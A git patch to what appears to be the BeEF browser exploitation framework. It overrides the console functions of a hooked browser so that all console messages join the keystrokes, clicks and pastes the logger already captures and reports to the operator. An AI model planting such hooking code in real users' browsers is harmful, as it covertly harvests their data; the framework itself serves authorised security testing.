From ff83871d44ca0a5953af05874ec85bc7943fa733 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 8 Oct 2016 18:27:19 +0000 Subject: [PATCH] Add console events to event logger --- core/main/client/logger.js | 43 ++++++++++++++++++++++++++++++++++++ extensions/events/handler.rb | 2 ++ 2 files changed, 45 insertions(+) diff --git a/core/main/client/logger.js b/core/main/client/logger.js index f97bf096d..ebcbb0180 100644 --- a/core/main/client/logger.js +++ b/core/main/client/logger.js @@ -69,6 +69,36 @@ beef.logger = { $j(document.body).off('cut'); $j(document.body).off('paste'); + if (!!window.console && typeof window.console == "object") { + try { + var oldInfo = window.console.info; + console.info = function (message) { + beef.logger.console('info', message); + oldInfo.apply(console, arguments); + }; + var oldLog = window.console.log; + console.log = function (message) { + beef.logger.console('log', message); + oldLog.apply(console, arguments); + }; + var oldWarn = window.console.warn; + console.warn = function (message) { + beef.logger.console('warn', message); + oldWarn.apply(console, arguments); + }; + var oldDebug = window.console.debug; + console.debug = function (message) { + beef.logger.console('debug', message); + oldDebug.apply(console, arguments); + }; + var oldError = window.console.error; + console.error = function (message) { + beef.logger.console('error', message); + oldError.apply(console, arguments); + }; + } catch(e) {} + } + $j(document).keypress( function(e) { beef.logger.keypress(e); } ).click( @@ -109,6 +139,7 @@ beef.logger = { $j(document.body).off('copy'); $j(document.body).off('cut'); $j(document.body).off('paste'); + // TODO: reset console }, /** @@ -186,6 +217,18 @@ beef.logger = { } catch(e) {} }, + /** + * Console function fires when data is sent to the browser console. + */ + console: function(type, message) { + try { + var c = new beef.logger.e(); + c.type = 'console'; + c.data = type + ': ' + message; + this.events.push(c); + } catch(e) {} + }, + /** * Paste function fires when the user pastes data from the clipboard. */ diff --git a/extensions/events/handler.rb b/extensions/events/handler.rb index 2e241950f..1c7541632 100644 --- a/extensions/events/handler.rb +++ b/extensions/events/handler.rb @@ -61,6 +61,8 @@ module Events result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\"" when 'blur' result = "#{event['time']}s - [Blur] Browser window has lost focus." + when 'console' + result = "#{event['time']}s - [Console] #{event['data']}" when 'keys' print_debug "+++++++++++++++++ Key mods: #{event['mods']}" print_debug "EventData: #{event['data']}"